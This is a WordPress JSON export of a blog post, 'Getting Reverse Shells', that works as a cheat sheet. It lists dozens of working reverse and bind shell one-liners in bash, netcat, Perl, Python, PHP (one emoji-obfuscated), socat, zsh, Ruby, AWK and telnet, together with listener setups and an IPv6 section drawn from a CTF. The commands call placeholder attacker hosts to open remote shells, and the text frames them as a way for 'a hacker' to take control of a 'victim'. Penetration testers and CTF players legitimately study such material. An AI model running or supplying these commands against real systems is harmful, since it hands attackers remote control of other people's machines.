{"id":2224,"date":"2021-06-13T00:17:36","date_gmt":"2021-06-13T00:17:36","guid":{"rendered":"https:\/\/dft.wiki\/?p=2224"},"modified":"2025-06-22T19:29:49","modified_gmt":"2025-06-22T23:29:49","slug":"getting-reverse-shells","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=2224","title":{"rendered":"Getting Reverse Shells"},"content":{"rendered":"<p>Reverse Shell is useful to pass through router and firewalls that may allow outbound connections but not inbound ones.<\/p>\n<p>Listener: the host that will receive the connection and will take the control of the connected machine.<\/p>\n<p>In other words, a hacker creates a listener and the victim connects back to it giving full control.<\/p>\n<hr \/>\n<p><strong>OUT OF THE BOX<\/strong><\/p>\n<p>Most Linux distributions (certainly Ubuntu 20.04) may have the necessary tools for the following commands.<\/p>\n<p>LISTENER<\/p>\n<pre>nc -lvnp <strong>9001<\/strong><\/pre>\n<p>REVERSE SHELLS<\/p>\n<pre>sh -i &gt;&amp; \/dev\/tcp\/<strong>200.200.200.200<\/strong>\/<strong>9001<\/strong> 0&gt;&amp;1<\/pre>\n<pre>exec 5&lt;&gt;\/dev\/tcp\/<strong>200.200.200.200<\/strong>\/<strong>9001<\/strong>;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done<\/pre>\n<pre>rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|sh -i 2&gt;&amp;1|nc <strong>200.200.200.200<\/strong> <strong>9001<\/strong> &gt;\/tmp\/f<\/pre>\n<pre>perl -e 'use Socket;$i=\"<strong>200.200.200.200<\/strong>\";$p=<strong>9001<\/strong>;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"&gt;&amp;S\");open(STDOUT,\"&gt;&amp;S\");open(STDERR,\"&gt;&amp;S\");exec(\"sh -i\");};'<\/pre>\n<pre>export RHOST=\"<strong>200.200.200.200<\/strong>\";export RPORT=<strong>9001<\/strong>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"sh\")'<\/pre>\n<pre>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'<\/pre>\n<pre>python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'<\/pre>\n<pre>0&lt;&amp;196;exec 196&lt;&gt;\/dev\/tcp\/<strong>200.200.200.20<\/strong>0\/<strong>9001<\/strong>; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196<\/pre>\n<pre>TF=$(mktemp -u);mkfifo $TF &amp;&amp; telnet <strong>200.200.200.200<\/strong> <strong>9001<\/strong> 0&lt;$TF | sh 1&gt;$TF<\/pre>\n<p>Most of the commands will provide a simple prompt &#8220;# &#8221; but the last three will not.<\/p>\n<hr \/>\n<p><strong>USING PYTHON2<\/strong><\/p>\n<p>Python3 might come already installed on most of the modern distributions but in the case when it is not and Python2 is available&#8230;<\/p>\n<p>INSTALLATION<\/p>\n<pre>apt install python<\/pre>\n<p>LISTENERS<\/p>\n<pre>nc -lvnp <strong>9001<\/strong><\/pre>\n<pre>ncat -lvnp <strong>9001<\/strong><\/pre>\n<p>REVERSE SHELLS<\/p>\n<pre>export RHOST=\"<strong>200.200.200.200<\/strong>\";export RPORT=<strong>9001<\/strong>;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"sh\")'<\/pre>\n<pre>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'<\/pre>\n<p>In both cases, a simple prompt &#8220;# &#8221; will be available.<\/p>\n<hr \/>\n<p><strong>USING PHP<\/strong><\/p>\n<p>PHP is an important component of any webserver but it can also run on the shell.<\/p>\n<p>INSTALLATION<\/p>\n<pre>apt install php7.4-cli<\/pre>\n<p>LISTENERS<\/p>\n<pre>nc -lvnp <strong>9001<\/strong><\/pre>\n<pre>ncat -lvnp <strong>9001<\/strong><\/pre>\n<p>REVERSE SHELLS<\/p>\n<pre>php -r '$\ud83d\ude00=\"1\";$\ud83d\ude01=\"2\";$\ud83d\ude05=\"3\";$\ud83d\ude06=\"4\";$\ud83d\ude09=\"5\";$\ud83d\ude0a=\"6\";$\ud83d\ude0e=\"7\";$\ud83d\ude0d=\"8\";$\ud83d\ude1a=\"9\";$\ud83d\ude42=\"0\";$\ud83e\udd22=\" \";$\ud83e\udd13=\"&lt;\";$\ud83e\udd20=\"&gt;\";$\ud83d\ude31=\"-\";$\ud83d\ude35=\"&amp;\";$\ud83e\udd29=\"i\";$\ud83e\udd14=\".\";$\ud83e\udd28=\"\/\";$\ud83e\udd70=\"a\";$\ud83d\ude10=\"b\";$\ud83d\ude36=\"i\";$\ud83d\ude44=\"h\";$\ud83d\ude02=\"c\";$\ud83e\udd23=\"d\";$\ud83d\ude03=\"e\";$\ud83d\ude04=\"f\";$\ud83d\ude0b=\"k\";$\ud83d\ude18=\"n\";$\ud83d\ude17=\"o\";$\ud83d\ude19=\"p\";$\ud83e\udd17=\"s\";$\ud83d\ude11=\"x\";$\ud83d\udc80 = $\ud83d\ude04. $\ud83e\udd17. $\ud83d\ude17. $\ud83d\ude02. $\ud83d\ude0b. $\ud83d\ude17. $\ud83d\ude19. $\ud83d\ude03. $\ud83d\ude18;$\ud83d\ude80 = \"<strong>200.200.200.200<\/strong>\";$\ud83d\udcbb = <strong>9001<\/strong>;$\ud83d\udc1a = \"sh\". $\ud83e\udd22. $\ud83d\ude31. $\ud83e\udd29. $\ud83e\udd22. $\ud83e\udd13. $\ud83d\ude35. $\ud83d\ude05. $\ud83e\udd22. $\ud83e\udd20. $\ud83d\ude35. $\ud83d\ude05. $\ud83e\udd22. $\ud83d\ude01. $\ud83e\udd20. $\ud83d\ude35. $\ud83d\ude05;$\ud83e\udd23 = $\ud83d\udc80($\ud83d\ude80,$\ud83d\udcbb);$\ud83d\udc7d = $\ud83d\ude03. $\ud83d\ude11. $\ud83d\ude03. $\ud83d\ude02;$\ud83d\udc7d($\ud83d\udc1a);'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);exec(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);shell_exec(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);system(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);passthru(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);`sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3`;'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);popen(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\", \"r\");'<\/pre>\n<pre>php -r '$sock=fsockopen(\"<strong>200.200.200.200<\/strong>\",<strong>9001<\/strong>);$proc=proc_open(\"sh\", array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);'<\/pre>\n<p>Only the first command will offer a simple prompt &#8220;# &#8220;, all the others will not, and the last one will not hold the prompt on the victim&#8217;s side.<\/p>\n<hr \/>\n<p><strong>USING SOCAT<\/strong><\/p>\n<p>It is a multipurpose relay able to establish multi-directional TCP connections, similar to netcat.<\/p>\n<p>INSTALLATION<\/p>\n<pre>apt install socat<\/pre>\n<p>LISTENERS<\/p>\n<pre>nc -lvnp <strong>9001<\/strong><\/pre>\n<pre>ncat -lvnp <strong>9001<\/strong><\/pre>\n<p>REVERSE SHELLS<\/p>\n<pre>socat TCP:<strong>200.200.200.200<\/strong>:<strong>9001<\/strong> EXEC:'sh',pty,stderr,setsid,sigint,sane<\/pre>\n<pre>socat TCP:<strong>200.200.200.200<\/strong>:<strong>9001<\/strong> EXEC:sh<\/pre>\n<p>The first command will provide a simple prompt &#8220;# &#8220;.<\/p>\n<hr \/>\n<p><strong>USING ZSH<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>INSTALLATION<\/p>\n<pre>apt install zsh<\/pre>\n<p>LISTENERS<\/p>\n<pre>nc -lvnp <strong>9001<\/strong><\/pre>\n<pre>ncat -lvnp <strong>9001<\/strong><\/pre>\n<p>REVERSE SHELLS<\/p>\n<pre>zsh -c 'zmodload zsh\/net\/tcp &amp;&amp; ztcp <strong>200.200.200.200<\/strong> <strong>9001<\/strong> &amp;&amp; zsh &gt;&amp;$REPLY 2&gt;&amp;$REPLY 0&gt;&amp;$REPLY'<\/pre>\n<p>Unfortunately, it will not offer any prompt.<\/p>\n<hr \/>\n<p><strong>ADDITIONAL LISTENERS<\/strong><\/p>\n<p>FOR LINUX<\/p>\n<pre>rlwrap -cAr nc -lvnp <strong>9001<\/strong><\/pre>\n<pre>socat -d -d TCP-LISTEN:<strong>9001<\/strong> STDOUT<\/pre>\n<pre>curl https:\/\/raw.githubusercontent.com\/cytopia\/pwncat\/master\/bin\/pwncat &gt; pwncat.py\r\nchmod +x pwncat.py\r\npwncat -l <strong>9001<\/strong>\r\npwncat -l <strong>9001<\/strong> --self-inject \/bin\/bash:<strong>127.0.0.1:4444,4445,4446,4447<\/strong>\r\npwncat -l <strong>9001<\/strong> --self-inject \/bin\/bash:<strong>127.0.0.1:4444-4447<\/strong>\r\npwncat -l <strong>9001<\/strong> --self-inject \/bin\/bash:<strong>127.0.0.1:4444+3<\/strong><\/pre>\n<p>FOR WINDOWS<\/p>\n<pre>stty raw -echo; (stty size; cat) | nc -lvnp <strong>9001<\/strong><\/pre>\n<p>FOR MAC<\/p>\n<pre>brew install pwncat\r\npython3 -m pwncat -lp <strong>9001<\/strong><\/pre>\n<hr \/>\n<p><strong>BIND SHELLS<\/strong><\/p>\n<p>Bind shells are the opposite of the reverse shells. A host listens (bind) on a port waiting for a connection to take control.<\/p>\n<p>BIND (LISTENERS)<\/p>\n<pre>python3 -c 'exec(\"\"\"import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\"0.0.0.0\",<strong>9001<\/strong>));s1.listen(1);c,a=s1.accept();while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\"\"\")'<\/pre>\n<pre>php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,\"0.0.0.0\",<strong>9001<\/strong>);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,\"$ \",2))exit;$in=socket_read($cl,100);$cmd=popen(\"$in\",\"r\");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'<\/pre>\n<p>CONNECTION<\/p>\n<pre>nc <strong>200.200.200.200<\/strong> <strong>9001<\/strong><\/pre>\n<hr id=\"IPv6\" \/>\n<p><strong>IPv6<\/strong><\/p>\n<p>It might look trivial, but it is not! During the 2025 NSEC CTF Competition, an IPv6-only environment exposed that many popular hacking tools are not prepared.<\/p>\n<p><strong>Listener<\/strong><\/p>\n<pre>socat -d -d TCP-LISTEN:1337 STDOUT<\/pre>\n<p><strong>Victim<\/strong><\/p>\n<pre># Socat\r\nsocat TCP:shell.ctf:1337 EXEC:sh\r\nsocat TCP:shell.ctf:1337 EXEC:'sh',pty,stderr,setsid,sigint,sane<\/pre>\n<pre># BusyBox NetCat\r\nbusybox nc shell.ctf 1337 -e sh<\/pre>\n<pre># PHP\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);exec(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);shell_exec(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);system(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);passthru(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);`sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3`;'\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);popen(\"sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\", \"r\");'\r\nphp -r '$sock=fsockopen(\"shell.ctf\",1337);$proc=proc_open(\"sh\", array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);'<\/pre>\n<pre># Ruby\r\nruby -rsocket -e'exit if fork;c=TCPSocket.new(\"shell.ctf\",\"1337\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~\/cd (.+)\/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'<\/pre>\n<pre># AWK\r\nawk 'BEGIN {s = \"\/inet\/tcp\/0\/shell.ctf\/1337\"; while(42) { do{ printf \"shell&gt;\" |&amp; s; s |&amp; getline c; if(c){ while ((c |&amp; getline) &gt; 0) print $0 |&amp; s; close(c); } } while(c != \"exit\") close(s); }}' \/dev\/null<\/pre>\n<p><strong>Note:<\/strong> using a DNS makes the work much easier because the characters <code>:<\/code> that divides the block of the IPv6 address frequently gets mixed with the <code>:&lt;PORT&gt;<\/code>. If necessary, wrap the IPv6 in square brackets\u00a0if DNS is not an option (e.g., <code>[fe80::3a07:ba07:63c4:9a36]<\/code>).<\/p>\n<hr \/>\n<p><strong>BONUS<\/strong><\/p>\n<p>See the repository with automation for the usage of a growing list of listeners and reverse shell command at [<a href=\"https:\/\/github.com\/davift\/getting-shells\">Link<\/a>].<\/p>\n<p>You can also use the following command to import the <strong>pty<\/strong> and spin a real shell:<\/p>\n<pre>python -c 'import pty; pty.spawn(\"\/bin\/bash\")'<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Reverse Shell is useful to pass through router and firewalls that may allow outbound connections [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,6],"tags":[],"class_list":["post-2224","post","type-post","status-publish","format-standard","hentry","category-linux","category-raspberry-pi"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2224","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2224"}],"version-history":[{"count":10,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2224\/revisions"}],"predecessor-version":[{"id":4988,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2224\/revisions\/4988"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2224"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2224"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2224"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}